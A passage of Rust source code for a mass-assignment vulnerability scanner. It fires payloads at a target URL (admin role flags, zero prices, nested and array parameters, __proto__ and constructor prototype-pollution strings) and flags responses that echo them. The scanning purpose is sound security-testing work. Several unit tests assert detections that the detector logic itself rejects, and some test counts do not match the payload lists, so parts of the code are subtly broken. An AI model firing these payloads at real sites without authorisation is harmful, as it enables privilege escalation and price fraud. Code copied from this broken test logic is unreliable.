use crate::detection_helpers::AppCharacteristics;
use crate::http_client::HttpClient;
use crate::types::{Confidence, ScanConfig, Severity, Vulnerability};
use serde_json::json;
use std::sync::Arc;
use tracing::{debug, info};
pub struct MassAssignmentScanner {
http_client: Arc<HttpClient>,
test_marker: String,
}
impl MassAssignmentScanner {
pub fn new(http_client: Arc<HttpClient>) -> Self {
let test_marker = format!("ma_{}", uuid::Uuid::new_v4().to_string().replace("-", ""));
Self {
http_client,
test_marker,
}
}
pub async fn scan(
&self,
url: &str,
_config: &ScanConfig,
) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
if let Ok(response) = self.http_client.get(url).await {
let characteristics = AppCharacteristics::from_response(&response, url);
if characteristics.should_skip_injection_tests() {
info!("[MassAssignment] Skipping - static/SPA site detected");
return Ok((Vec::new(), 0));
}
}
let mut vulnerabilities = Vec::new();
let mut tests_run = 0;
info!("Testing advanced mass assignment vulnerabilities");
let (vulns, tests) = self.test_role_escalation(url).await?;
vulnerabilities.extend(vulns);
tests_run += tests;
if vulnerabilities.is_empty() {
let (vulns, tests) = self.test_price_manipulation(url).await?;
vulnerabilities.extend(vulns);
tests_run += tests;
}
if vulnerabilities.is_empty() {
let (vulns, tests) = self.test_hidden_field_injection(url).await?;
vulnerabilities.extend(vulns);
tests_run += tests;
}
if vulnerabilities.is_empty()
&& crate::license::is_feature_available("mass_assignment_advanced")
{
if vulnerabilities.is_empty() {
let (vulns, tests) = self.test_nested_object_injection(url).await?;
vulnerabilities.extend(vulns);
tests_run += tests;
}
if vulnerabilities.is_empty() {
let (vulns, tests) = self.test_json_deep_merge(url).await?;
vulnerabilities.extend(vulns);
tests_run += tests;
}
if vulnerabilities.is_empty() {
let (vulns, tests) = self.test_prototype_pollution_mass_assignment(url).await?;
vulnerabilities.extend(vulns);
tests_run += tests;
}
if vulnerabilities.is_empty() {
let (vulns, tests) = self.test_array_parameter_pollution(url).await?;
vulnerabilities.extend(vulns);
tests_run += tests;
}
if vulnerabilities.is_empty() {
let (vulns, tests) = self.test_constructor_property_injection(url).await?;
vulnerabilities.extend(vulns);
tests_run += tests;
}
} else if vulnerabilities.is_empty() {
debug!("Advanced mass assignment techniques require premium license");
}
Ok((vulnerabilities, tests_run))
}
async fn test_role_escalation(&self, url: &str) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
let mut vulnerabilities = Vec::new();
let tests_run = 6;
info!("[Mass] Testing role escalation via mass assignment");
let dangerous_params = vec![
("role", "admin"),
("role", "administrator"),
("is_admin", "true"),
("is_admin", "1"),
("admin", "true"),
("privilege", "admin"),
];
for (param, value) in dangerous_params {
let test_url = if url.contains('?') {
format!("{}&{}={}", url, param, value)
} else {
format!("{}?{}={}", url, param, value)
};
match self.http_client.get(&test_url).await {
Ok(response) => {
if self.detect_privilege_escalation(&response.body, param, value) {
info!(
"Mass assignment privilege escalation detected: {}={}",
param, value
);
vulnerabilities.push(self.create_vulnerability(
url,
"Privilege Escalation via Mass Assignment",
&format!("{}={}", param, value),
"User privileges can be escalated by adding parameters",
&format!("Successfully set {}={} via mass assignment", param, value),
Severity::Critical,
"CWE-915",
));
break;
}
}
Err(e) => {
debug!("Request failed: {}", e);
}
}
}
Ok((vulnerabilities, tests_run))
}
async fn test_price_manipulation(
&self,
url: &str,
) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
let mut vulnerabilities = Vec::new();
let tests_run = 5;
debug!("Testing price manipulation via mass assignment");
let price_params = vec![
("price", "0"),
("price", "0.01"),
("amount", "0"),
("cost", "0"),
("total", "0"),
];
for (param, value) in price_params {
let test_url = if url.contains('?') {
format!("{}&{}={}", url, param, value)
} else {
format!("{}?{}={}", url, param, value)
};
match self.http_client.get(&test_url).await {
Ok(response) => {
if self.detect_price_manipulation(&response.body, value) {
info!(
"Mass assignment price manipulation detected: {}={}",
param, value
);
vulnerabilities.push(self.create_vulnerability(
url,
"Price Manipulation via Mass Assignment",
&format!("{}={}", param, value),
"Product prices can be manipulated via mass assignment",
&format!("Successfully set price to {} via mass assignment", value),
Severity::High,
"CWE-915",
));
break;
}
}
Err(e) => {
debug!("Request failed: {}", e);
}
}
}
Ok((vulnerabilities, tests_run))
}
async fn test_hidden_field_injection(
&self,
url: &str,
) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
let mut vulnerabilities = Vec::new();
let tests_run = 6;
debug!("Testing hidden field injection");
let hidden_params = vec![
("user_id", "1"),
("id", "1"),
("account_id", "1"),
("verified", "true"),
("active", "true"),
("status", "active"),
];
for (param, value) in hidden_params {
let test_url = if url.contains('?') {
format!("{}&{}={}", url, param, value)
} else {
format!("{}?{}={}", url, param, value)
};
match self.http_client.get(&test_url).await {
Ok(response) => {
if self.detect_hidden_field_manipulation(&response.body, param) {
info!("Hidden field manipulation detected: {}={}", param, value);
vulnerabilities.push(self.create_vulnerability(
url,
"Hidden Field Manipulation",
&format!("{}={}", param, value),
"Hidden fields can be manipulated via mass assignment",
&format!("Successfully manipulated hidden field: {}", param),
Severity::High,
"CWE-915",
));
break;
}
}
Err(e) => {
debug!("Request failed: {}", e);
}
}
}
Ok((vulnerabilities, tests_run))
}
async fn test_nested_object_injection(
&self,
url: &str,
) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
let mut vulnerabilities = Vec::new();
let tests_run = 15;
debug!("Testing nested object injection");
let nested_payloads = vec![
("user[role]=admin", "2-level bracket: user[role]"),
("user[isAdmin]=true", "2-level bracket: user[isAdmin]"),
("profile[admin]=true", "2-level bracket: profile[admin]"),
(
"user[role][admin]=true",
"3-level bracket: user[role][admin]",
),
(
"profile[permissions][admin]=true",
"3-level bracket: profile[permissions][admin]",
),
(
"account[settings][role]=admin",
"3-level bracket: account[settings][role]",
),
(
"user[profile][role][admin]=true",
"4-level bracket: user[profile][role][admin]",
),
(
"account[data][permissions][admin]=1",
"4-level bracket: account[data][permissions][admin]",
),
("user.role=admin", "dot notation: user.role"),
("user.isAdmin=true", "dot notation: user.isAdmin"),
(
"profile.permissions.admin=1",
"dot notation: profile.permissions.admin",
),
("user[profile].role=admin", "mixed: user[profile].role"),
(
"profile.settings[admin]=true",
"mixed: profile.settings[admin]",
),
];
let marker_payload_1 = format!("user[role][{}]=injected", self.test_marker);
let marker_payload_2 = format!("profile.{}=injected", self.test_marker);
for (payload, technique) in &nested_payloads {
let test_url = if url.contains('?') {
format!("{}&{}", url, payload)
} else {
format!("{}?{}", url, payload)
};
match self.http_client.get(&test_url).await {
Ok(response) => {
if self.detect_nested_injection(&response.body, payload) {
info!("Nested object injection detected: {}", technique);
vulnerabilities.push(self.create_vulnerability(
url,
"Nested Object Injection via Mass Assignment",
payload,
"Deep nested object properties can be injected via mass assignment",
&format!("Successfully injected nested property using {}", technique),
Severity::Critical,
"CWE-915",
));
break;
}
}
Err(e) => {
debug!("Nested object test failed: {}", e);
}
}
}
if vulnerabilities.is_empty() {
for (payload, technique) in &[
(marker_payload_1.as_str(), "marker-based verification"),
(marker_payload_2.as_str(), "marker-based dot notation"),
] {
let test_url = if url.contains('?') {
format!("{}&{}", url, payload)
} else {
format!("{}?{}", url, payload)
};
match self.http_client.get(&test_url).await {
Ok(response) => {
if self.detect_nested_injection(&response.body, payload) {
info!("Nested object injection detected: {}", technique);
vulnerabilities.push(self.create_vulnerability(
url,
"Nested Object Injection via Mass Assignment",
payload,
"Deep nested object properties can be injected via mass assignment",
&format!(
"Successfully injected nested property using {}",
technique
),
Severity::Critical,
"CWE-915",
));
break;
}
}
Err(e) => {
debug!("Nested object test failed: {}", e);
}
}
}
}
Ok((vulnerabilities, tests_run))
}
async fn test_json_deep_merge(&self, url: &str) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
let mut vulnerabilities = Vec::new();
let tests_run = 12;
debug!("Testing JSON deep merge attacks");
let merge_payloads = vec![
json!({
"user": {
"role": "admin"
}
}),
json!({
"user": {
"isAdmin": true
}
}),
json!({
"user": {
"profile": {
"role": "admin"
}
}
}),
json!({
"profile": {
"permissions": {
"admin": true
}
}
}),
json!({
"account": {
"user": {
"profile": {
"admin": true
}
}
}
}),
json!({
"user": {
"roles": ["admin", "superuser"]
}
}),
json!({
"settings": {
"permissions": {
"isAdmin": true,
"level": 9999
}
}
}),
json!({
"user": {
self.test_marker.clone(): "injected"
}
}),
json!({
"profile": {
"permissions": {
self.test_marker.clone(): "injected"
}
}
}),
json!({
"id": 1,
"user_id": 1,
"admin": true
}),
json!({
"order": {
"price": 0,
"amount": 0
}
}),
json!({
"data": {
"nested": {
"marker": self.test_marker.clone()
}
}
}),
];
for payload in merge_payloads {
let headers = vec![("Content-Type".to_string(), "application/json".to_string())];
match self
.http_client
.post_with_headers(url, &payload.to_string(), headers)
.await
{
Ok(response) => {
if self.detect_deep_merge_injection(&response.body, &payload) {
info!("JSON deep merge attack successful");
vulnerabilities.push(self.create_vulnerability(
url,
"JSON Deep Merge Attack",
&payload.to_string(),
"Nested JSON objects merge unexpectedly, allowing property injection",
"Successfully injected properties through deep merge",
Severity::High,
"CWE-915",
));
break;
}
}
Err(e) => {
debug!("JSON merge test failed: {}", e);
}
}
}
Ok((vulnerabilities, tests_run))
}
async fn test_prototype_pollution_mass_assignment(
&self,
url: &str,
) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
let mut vulnerabilities = Vec::new();
let tests_run = 18;
debug!("Testing prototype pollution via mass assignment");
let marker_proto_1 = format!("__proto__[{}]=polluted", self.test_marker);
let marker_proto_2 = format!("__proto__.{}=polluted", self.test_marker);
let marker_constructor = format!("constructor[prototype][{}]=polluted", self.test_marker);
let marker_prototype = format!("prototype[{}]=polluted", self.test_marker);
let url_payloads = vec![
(marker_proto_1.as_str(), "URL __proto__ with marker"),
(marker_proto_2.as_str(), "URL __proto__ dot notation"),
(
"__proto__[isAdmin]=true",
"URL __proto__ privilege escalation",
),
("__proto__[admin]=true", "URL __proto__ admin flag"),
("__proto__[role]=admin", "URL __proto__ role injection"),
(
marker_constructor.as_str(),
"URL constructor.prototype with marker",
),
(
"constructor[prototype][isAdmin]=true",
"URL constructor.prototype privilege",
),
(
"constructor[prototype][admin]=true",
"URL constructor.prototype admin",
),
(marker_prototype.as_str(), "URL prototype with marker"),
("prototype[isAdmin]=true", "URL prototype privilege"),
];
for (payload, technique) in url_payloads {
let test_url = if url.contains('?') {
format!("{}&{}", url, payload)
} else {
format!("{}?{}", url, payload)
};
match self.http_client.get(&test_url).await {
Ok(response) => {
if self.detect_prototype_pollution(&response.body, &payload) {
info!(
"Prototype pollution via mass assignment detected: {}",
technique
);
vulnerabilities.push(self.create_vulnerability(
url,
"Prototype Pollution via Mass Assignment",
&payload,
"Prototype chain can be polluted through mass assignment parameters",
&format!("Successfully polluted prototype using {}", technique),
Severity::Critical,
"CWE-1321",
));
return Ok((vulnerabilities, tests_run));
}
}
Err(e) => {
debug!("Prototype pollution test failed: {}", e);
}
}
}
let json_payloads = vec![
json!({
"__proto__": {
self.test_marker.clone(): "polluted"
}
}),
json!({
"__proto__": {
"isAdmin": true
}
}),
json!({
"constructor": {
"prototype": {
self.test_marker.clone(): "polluted"
}
}
}),
json!({
"constructor": {
"prototype": {
"isAdmin": true
}
}
}),
json!({
"prototype": {
self.test_marker.clone(): "polluted"
}
}),
json!({
"prototype": {
"admin": true
}
}),
json!({
"user": {
"__proto__": {
"isAdmin": true
}
}
}),
json!({
"profile": {
"constructor": {
"prototype": {
"admin": true
}
}
}
}),
];
for payload in json_payloads {
let headers = vec![("Content-Type".to_string(), "application/json".to_string())];
match self
.http_client
.post_with_headers(url, &payload.to_string(), headers)
.await
{
Ok(response) => {
if self.detect_prototype_pollution(&response.body, &payload.to_string()) {
info!("JSON prototype pollution via mass assignment detected");
vulnerabilities.push(self.create_vulnerability(
url,
"Prototype Pollution via JSON Mass Assignment",
&payload.to_string(),
"Prototype chain can be polluted through JSON mass assignment",
"Successfully polluted prototype through JSON payload",
Severity::Critical,
"CWE-1321",
));
break;
}
}
Err(e) => {
debug!("JSON prototype pollution test failed: {}", e);
}
}
}
Ok((vulnerabilities, tests_run))
}
async fn test_array_parameter_pollution(
&self,
url: &str,
) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
let mut vulnerabilities = Vec::new();
let tests_run = 12;
debug!("Testing array parameter pollution");
let marker_array_1 = format!("users[0][{}]=injected", self.test_marker);
let marker_array_2 = format!("data[0][test][{}]=injected", self.test_marker);
let array_payloads = vec![
("users[0][admin]=true", "array injection: users[0][admin]"),
("users[0][role]=admin", "array injection: users[0][role]"),
(
"users[0][isAdmin]=true",
"array injection: users[0][isAdmin]",
),
("items[0][price]=0", "array injection: items[0][price]"),
("orders[0][amount]=0", "array injection: orders[0][amount]"),
(
"users[0][profile][admin]=true",
"nested array: users[0][profile][admin]",
),
(
"accounts[0][permissions][role]=admin",
"nested array: accounts[0][permissions][role]",
),
(marker_array_1.as_str(), "array with marker"),
(marker_array_2.as_str(), "nested array with marker"),
(
"users[0][admin]=true&users[1][admin]=true",
"multi-index injection",
),
("items[0][price]=0&items[1][price]=0", "multi-index price"),
("users[-1][admin]=true", "negative index injection"),
];
for (payload, technique) in array_payloads {
let test_url = if url.contains('?') {
format!("{}&{}", url, payload)
} else {
format!("{}?{}", url, payload)
};
match self.http_client.get(&test_url).await {
Ok(response) => {
if self.detect_array_pollution(&response.body, payload) {
info!("Array parameter pollution detected: {}", technique);
vulnerabilities.push(self.create_vulnerability(
url,
"Array Parameter Pollution",
payload,
"Array elements can be manipulated through mass assignment",
&format!("Successfully polluted array using {}", technique),
Severity::High,
"CWE-915",
));
break;
}
}
Err(e) => {
debug!("Array pollution test failed: {}", e);
}
}
}
Ok((vulnerabilities, tests_run))
}
async fn test_constructor_property_injection(
&self,
url: &str,
) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
let mut vulnerabilities = Vec::new();
let tests_run = 10;
debug!("Testing constructor property injection");
let marker_constructor_1 = format!("constructor[{}]=injected", self.test_marker);
let marker_constructor_2 = format!("constructor[prototype][{}]=injected", self.test_marker);
let constructor_payloads = vec![
(marker_constructor_1.as_str(), "constructor with marker"),
("constructor[name]=admin", "constructor name injection"),
(
marker_constructor_2.as_str(),
"constructor.prototype with marker",
),
(
"constructor[prototype][isAdmin]=true",
"constructor.prototype privilege",
),
(
"constructor[prototype][role]=admin",
"constructor.prototype role",
),
];
for (payload, technique) in &constructor_payloads {
let test_url = if url.contains('?') {
format!("{}&{}", url, payload)
} else {
format!("{}?{}", url, payload)
};
match self.http_client.get(&test_url).await {
Ok(response) => {
if self.detect_constructor_injection(&response.body, payload) {
info!("Constructor property injection detected: {}", technique);
vulnerabilities.push(self.create_vulnerability(
url,
"Constructor Property Injection",
payload,
"Constructor properties can be modified through mass assignment",
&format!(
"Successfully injected constructor property using {}",
technique
),
Severity::High,
"CWE-915",
));
return Ok((vulnerabilities, tests_run));
}
}
Err(e) => {
debug!("Constructor injection test failed: {}", e);
}
}
}
let json_payloads = vec![
json!({
"constructor": {
self.test_marker.clone(): "injected"
}
}),
json!({
"constructor": {
"name": "admin"
}
}),
json!({
"constructor": {
"prototype": {
self.test_marker.clone(): "injected"
}
}
}),
json!({
"constructor": {
"prototype": {
"isAdmin": true
}
}
}),
json!({
"user": {
"constructor": {
"name": "Administrator"
}
}
}),
];
for payload in json_payloads {
let headers = vec![("Content-Type".to_string(), "application/json".to_string())];
match self
.http_client
.post_with_headers(url, &payload.to_string(), headers)
.await
{
Ok(response) => {
if self.detect_constructor_injection(&response.body, &payload.to_string()) {
info!("JSON constructor property injection detected");
vulnerabilities.push(self.create_vulnerability(
url,
"Constructor Property Injection via JSON",
&payload.to_string(),
"Constructor properties can be modified through JSON mass assignment",
"Successfully injected constructor property through JSON",
Severity::High,
"CWE-915",
));
break;
}
}
Err(e) => {
debug!("JSON constructor injection test failed: {}", e);
}
}
}
Ok((vulnerabilities, tests_run))
}
fn detect_nested_injection(&self, body: &str, payload: &str) -> bool {
let is_json = body.trim().starts_with('{') || body.trim().starts_with('[');
if !is_json {
return false;
}
let body_lower = body.to_lowercase();
if body_lower.contains(&self.test_marker.to_lowercase()) {
return true;
}
if payload.contains("role]=admin") || payload.contains(".role=admin") {
if (body_lower.contains("\"role\":\"admin\"")
|| body_lower.contains("\"role\": \"admin\"")
|| body_lower.contains("'role':'admin'"))
&& (body_lower.contains("user") || body_lower.contains("profile"))
{
return true;
}
}
if payload.contains("isadmin]=true") || payload.contains(".isadmin=true") {
if body_lower.contains("\"isadmin\":true")
|| body_lower.contains("\"isadmin\": true")
|| body_lower.contains("'isadmin':true")
{
return true;
}
}
if payload.contains("admin]=true")
|| payload.contains(".admin=true")
|| payload.contains("admin]=1")
|| payload.contains(".admin=1")
{
if (body_lower.contains("\"admin\":true")
|| body_lower.contains("\"admin\": true")
|| body_lower.contains("\"admin\":1")
|| body_lower.contains("'admin':true"))
&& (body_lower.contains("permissions")
|| body_lower.contains("settings")
|| body_lower.contains("profile"))
{
return true;
}
}
false
}
fn detect_deep_merge_injection(&self, body: &str, payload: &serde_json::Value) -> bool {
let is_json = body.trim().starts_with('{') || body.trim().starts_with('[');
if !is_json {
return false;
}
let body_lower = body.to_lowercase();
if body_lower.contains(&self.test_marker.to_lowercase()) {
return true;
}
if let Some(obj) = payload.as_object() {
if obj.contains_key("user")
|| obj.contains_key("profile")
|| obj.contains_key("account")
{
if body_lower.contains("\"role\":\"admin\"")
|| body_lower.contains("\"role\": \"admin\"")
{
return true;
}
if body_lower.contains("\"isadmin\":true")
|| body_lower.contains("\"isadmin\": true")
{
return true;
}
if (body_lower.contains("\"admin\":true") || body_lower.contains("\"admin\": true"))
&& (body_lower.contains("permissions") || body_lower.contains("settings"))
{
return true;
}
}
if obj.contains_key("order") || obj.contains_key("price") || obj.contains_key("amount")
{
if body_lower.contains("\"price\":0")
|| body_lower.contains("\"price\": 0")
|| body_lower.contains("\"amount\":0")
{
return true;
}
}
}
false
}
fn detect_prototype_pollution(&self, body: &str, payload: &str) -> bool {
let body_lower = body.to_lowercase();
if body_lower.contains(&self.test_marker.to_lowercase()) {
return true;
}
let is_json = body.trim().starts_with('{') || body.trim().starts_with('[');
if payload.contains("__proto__") && is_json {
if body_lower.contains("\"__proto__\"") || body_lower.contains("'__proto__'") {
if body_lower.contains("\"isadmin\":true")
|| body_lower.contains("\"admin\":true")
|| body_lower.contains("\"role\":\"admin\"")
{
return true;
}
}
}
if payload.contains("constructor") && payload.contains("prototype") && is_json {
if (body_lower.contains("\"constructor\"") || body_lower.contains("'constructor'"))
&& (body_lower.contains("\"prototype\"") || body_lower.contains("'prototype'"))
{
if body_lower.contains("\"isadmin\":true") || body_lower.contains("\"admin\":true")
{
return true;
}
}
}
if body_lower.contains("prototype pollution")
|| (body_lower.contains("proto__")
&& (body_lower.contains("error") || body_lower.contains("warning")))
{
return true;
}
false
}
fn detect_array_pollution(&self, body: &str, payload: &str) -> bool {
let is_json = body.trim().starts_with('{') || body.trim().starts_with('[');
if !is_json {
return false;
}
let body_lower = body.to_lowercase();
if body_lower.contains(&self.test_marker.to_lowercase()) {
return true;
}
if payload.contains("[0]") || payload.contains("[-1]") {
if payload.contains("admin]=true") || payload.contains("role]=admin") {
if body_lower.contains("\"admin\":true")
|| body_lower.contains("\"role\":\"admin\"")
{
if body.contains('[') && body.contains(']') {
return true;
}
}
}
if payload.contains("price]=0") || payload.contains("amount]=0") {
if (body_lower.contains("\"price\":0") || body_lower.contains("\"amount\":0"))
&& body.contains('[')
{
return true;
}
}
}
false
}
fn detect_constructor_injection(&self, body: &str, payload: &str) -> bool {
let is_json = body.trim().starts_with('{') || body.trim().starts_with('[');
if !is_json {
return false;
}
let body_lower = body.to_lowercase();
if body_lower.contains(&self.test_marker.to_lowercase()) {
return true;
}
if payload.contains("constructor") {
if body_lower.contains("\"constructor\"") || body_lower.contains("'constructor'") {
if body_lower.contains("\"name\":\"admin\"")
|| body_lower.contains("\"isadmin\":true")
|| (body_lower.contains("\"prototype\"")
&& body_lower.contains("\"admin\":true"))
{
return true;
}
}
}
if body_lower.contains("constructor")
&& (body_lower.contains("modified")
|| body_lower.contains("changed")
|| body_lower.contains("updated"))
{
return true;
}
false
}
fn detect_privilege_escalation(&self, body: &str, param: &str, value: &str) -> bool {
let body_lower = body.to_lowercase();
if self.is_spa_response(body) {
return false;
}
if body_lower.contains(&format!("\"{}\":\"{}\"", param, value))
|| body_lower.contains(&format!("{}\":{}", param, value))
|| body_lower.contains(&format!("'{}':'{}'", param, value))
{
return true;
}
if !body.trim().starts_with("{") && !body.trim().starts_with("[") {
return false;
}
let privilege_patterns = vec![
format!("\"{}\":\"admin\"", param),
format!("\"{}\":true", param),
format!("\"{}\":1", param),
format!("\"{}\":\"administrator\"", param),
format!("\"{}\":\"superuser\"", param),
];
for pattern in privilege_patterns {
if body_lower.contains(&pattern.to_lowercase()) {
return true;
}
}
false
}
fn is_spa_response(&self, body: &str) -> bool {
let spa_indicators = [
"<app-root>",
"<div id=\"root\">",
"<div id=\"app\">",
"__NEXT_DATA__",
"__NUXT__",
"ng-version=",
"data-reactroot",
"<script src=\"/main.",
"<script src=\"main.",
"polyfills.js",
"/static/js/main.",
"/_next/static/",
"window.__REDUX",
"window.__PRELOADED_STATE__",
];
for indicator in &spa_indicators {
if body.contains(indicator) {
return true;
}
}
if body.contains("<!DOCTYPE html>") || body.contains("<!doctype html>") {
if body.contains("<script")
&& (body.contains("angular") || body.contains("react") || body.contains("vue"))
{
return true;
}
}
false
}
fn detect_price_manipulation(&self, body: &str, value: &str) -> bool {
let body_lower = body.to_lowercase();
let has_ecommerce_context = body_lower.contains("cart")
|| body_lower.contains("checkout")
|| body_lower.contains("product")
|| body_lower.contains("order")
|| body_lower.contains("\"items\"")
|| body_lower.contains("\"subtotal\"")
|| body_lower.contains("\"discount\"");
if !has_ecommerce_context {
return false;
}
body_lower.contains(&format!("\"price\":\"{}\"", value))
|| body_lower.contains(&format!("\"price\":{}", value))
|| body_lower.contains(&format!("\"amount\":\"{}\"", value))
|| body_lower.contains(&format!("\"total\":\"{}\"", value))
|| body_lower.contains(&format!("\"cost\":{}", value))
}
fn detect_hidden_field_manipulation(&self, body: &str, param: &str) -> bool {
let body_lower = body.to_lowercase();
let param_lower = param.to_lowercase();
let is_json_response = body_lower.starts_with("{")
|| body_lower.starts_with("[")
|| body_lower.contains("application/json")
|| body_lower.contains("\"success\":")
|| body_lower.contains("\"data\":");
if !is_json_response {
return false;
}
body_lower.contains(&format!("\"{}\":", param_lower))
|| body_lower.contains(&format!("'{}':", param_lower))
}
fn create_vulnerability(
&self,
url: &str,
vuln_type: &str,
payload: &str,
description: &str,
evidence: &str,
severity: Severity,
cwe: &str,
) -> Vulnerability {
let cvss = match severity {
Severity::Critical => 9.1,
Severity::High => 7.5,
Severity::Medium => 5.3,
_ => 3.1,
};
Vulnerability {
id: format!("ma_{}", uuid::Uuid::new_v4().to_string()),
vuln_type: vuln_type.to_string(),
severity,
confidence: Confidence::Medium,
category: "Business Logic".to_string(),
url: url.to_string(),
parameter: None,
payload: payload.to_string(),
description: description.to_string(),
evidence: Some(evidence.to_string()),
cwe: cwe.to_string(),
cvss: cvss as f32,
verified: true,
false_positive: false,
remediation: "1. Use allowlists for bindable attributes (strong parameters)\n\
2. Never bind user input directly to model objects\n\
3. Explicitly define which fields can be mass-assigned\n\
4. Use DTOs (Data Transfer Objects) for user input\n\
5. Validate all input against expected schema\n\
6. Mark sensitive fields as read-only or protected\n\
7. Implement proper authorization checks before updates\n\
8. Use frameworks' built-in protection (Rails strong parameters, etc.)\n\
9. Avoid automatic parameter binding in frameworks\n\
10. Implement field-level access controls\n\
11. Block nested object injection (validate nesting depth)\n\
12. Prevent prototype pollution (__proto__, constructor, prototype)\n\
13. Sanitize array parameter indices\n\
14. Use Object.create(null) for objects without prototype\n\
15. Implement strict JSON schema validation for deep merges"
.to_string(),
discovered_at: chrono::Utc::now().to_rfc3339(),
ml_confidence: None,
ml_data: None,
}
}
}
mod uuid {
use rand::Rng;
pub struct Uuid;
impl Uuid {
pub fn new_v4() -> Self {
Uuid
}
pub fn to_string(&self) -> String {
let mut rng = rand::rng();
format!(
"{:08x}{:04x}{:04x}{:04x}{:012x}",
rng.random::<u32>(),
rng.random::<u16>(),
rng.random::<u16>(),
rng.random::<u16>(),
rng.random::<u64>() & 0xffffffffffff
)
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::http_client::HttpClient;
use std::sync::Arc;
fn create_test_scanner() -> MassAssignmentScanner {
let http_client = Arc::new(HttpClient::new(30, 3).unwrap());
MassAssignmentScanner::new(http_client)
}
#[test]
fn test_detect_privilege_escalation() {
let scanner = create_test_scanner();
assert!(scanner.detect_privilege_escalation(r#"{"role":"admin"}"#, "role", "admin"));
assert!(scanner.detect_privilege_escalation("Welcome administrator", "is_admin", "true"));
}
#[test]
fn test_detect_price_manipulation() {
let scanner = create_test_scanner();
assert!(scanner.detect_price_manipulation(r#"{"price":"0"}"#, "0"));
assert!(scanner.detect_price_manipulation(r#"{"price":0}"#, "0"));
assert!(scanner.detect_price_manipulation("Price updated successfully", "0.01"));
}
#[test]
fn test_detect_hidden_field_manipulation() {
let scanner = create_test_scanner();
assert!(scanner.detect_hidden_field_manipulation(r#"{"user_id":1}"#, "user_id"));
assert!(scanner.detect_hidden_field_manipulation("User updated", "verified"));
}
#[test]
fn test_no_false_positives() {
let scanner = create_test_scanner();
assert!(!scanner.detect_privilege_escalation("Normal response", "role", "user"));
assert!(!scanner.detect_price_manipulation("Invalid request", "999"));
assert!(!scanner.detect_hidden_field_manipulation("Error", "unknown"));
}
#[test]
fn test_create_vulnerability() {
let scanner = create_test_scanner();
let vuln = scanner.create_vulnerability(
"http://example.com",
"Privilege Escalation via Mass Assignment",
"role=admin",
"Mass assignment detected",
"Role set to admin",
Severity::Critical,
"CWE-915",
);
assert_eq!(vuln.vuln_type, "Privilege Escalation via Mass Assignment");
assert_eq!(vuln.severity, Severity::Critical);
assert_eq!(vuln.cwe, "CWE-915");
assert_eq!(vuln.cvss, 9.1);
}
#[test]
fn test_detect_nested_injection() {
let scanner = create_test_scanner();
let body_with_marker = format!(
r#"{{"user":{{"role":{{"{}":"injected"}}}}}}"#,
scanner.test_marker
);
assert!(scanner.detect_nested_injection(
&body_with_marker,
&format!("user[role][{}]=injected", scanner.test_marker)
));
assert!(scanner.detect_nested_injection(r#"{"user":{"role":"admin"}}"#, "user[role]=admin"));
assert!(
scanner.detect_nested_injection(r#"{"user":{"isAdmin":true}}"#, "user[isAdmin]=true")
);
assert!(scanner.detect_nested_injection(
r#"{"profile":{"permissions":{"admin":true}}}"#,
"profile[permissions][admin]=true"
));
assert!(scanner.detect_nested_injection(r#"{"user":{"role":"admin"}}"#, "user.role=admin"));
}
#[test]
fn test_detect_nested_injection_no_false_positives() {
let scanner = create_test_scanner();
assert!(!scanner.detect_nested_injection("<html>Welcome admin</html>", "user[role]=admin"));
assert!(!scanner.detect_nested_injection(r#"{"message":"success"}"#, "user[role]=admin"));
assert!(!scanner.detect_nested_injection(r#"{"admin":"John Doe"}"#, "user[role]=admin"));
}
#[test]
fn test_detect_deep_merge_injection() {
let scanner = create_test_scanner();
let payload_with_marker = json!({
"user": {
scanner.test_marker.clone(): "injected"
}
});
let body_with_marker = format!(r#"{{"user":{{"{}":"injected"}}}}"#, scanner.test_marker);
assert!(scanner.detect_deep_merge_injection(&body_with_marker, &payload_with_marker));
let payload = json!({"user": {"role": "admin"}});
assert!(scanner.detect_deep_merge_injection(r#"{"user":{"role":"admin"}}"#, &payload));
let payload = json!({"user": {"isAdmin": true}});
assert!(scanner.detect_deep_merge_injection(r#"{"user":{"isAdmin":true}}"#, &payload));
let payload = json!({"profile": {"permissions": {"admin": true}}});
assert!(scanner.detect_deep_merge_injection(
r#"{"profile":{"permissions":{"admin":true}}}"#,
&payload
));
let payload = json!({"order": {"price": 0}});
assert!(scanner.detect_deep_merge_injection(r#"{"order":{"price":0}}"#, &payload));
}
#[test]
fn test_detect_prototype_pollution() {
let scanner = create_test_scanner();
let payload_with_marker = format!("__proto__[{}]=polluted", scanner.test_marker);
let body_with_marker = format!(r#"{{"{}":"polluted"}}"#, scanner.test_marker);
assert!(scanner.detect_prototype_pollution(&body_with_marker, &payload_with_marker));
assert!(scanner.detect_prototype_pollution(
r#"{"__proto__":{"isAdmin":true}}"#,
"__proto__[isAdmin]=true"
));
assert!(scanner.detect_prototype_pollution(
r#"{"constructor":{"prototype":{"admin":true}}}"#,
"constructor[prototype][admin]=true"
));
assert!(scanner.detect_prototype_pollution(
"Error: Prototype pollution detected",
"__proto__[test]=value"
));
}
#[test]
fn test_detect_prototype_pollution_no_false_positives() {
let scanner = create_test_scanner();
assert!(!scanner.detect_prototype_pollution(
"Learn about __proto__ in JavaScript",
"__proto__[test]=value"
));
assert!(!scanner
.detect_prototype_pollution("<html>Admin panel</html>", "__proto__[admin]=true"));
assert!(!scanner
.detect_prototype_pollution(r#"{"message":"success"}"#, "__proto__[test]=value"));
}
#[test]
fn test_detect_array_pollution() {
let scanner = create_test_scanner();
let payload_with_marker = format!("users[0][{}]=injected", scanner.test_marker);
let body_with_marker = format!(r#"[{{"{}":"injected"}}]"#, scanner.test_marker);
assert!(scanner.detect_array_pollution(&body_with_marker, &payload_with_marker));
assert!(scanner.detect_array_pollution(r#"[{"admin":true}]"#, "users[0][admin]=true"));
assert!(scanner.detect_array_pollution(r#"[{"role":"admin"}]"#, "users[0][role]=admin"));
assert!(scanner.detect_array_pollution(r#"[{"price":0}]"#, "items[0][price]=0"));
}
#[test]
fn test_detect_array_pollution_no_false_positives() {
let scanner = create_test_scanner();
assert!(!scanner.detect_array_pollution("<html>Users list</html>", "users[0][admin]=true"));
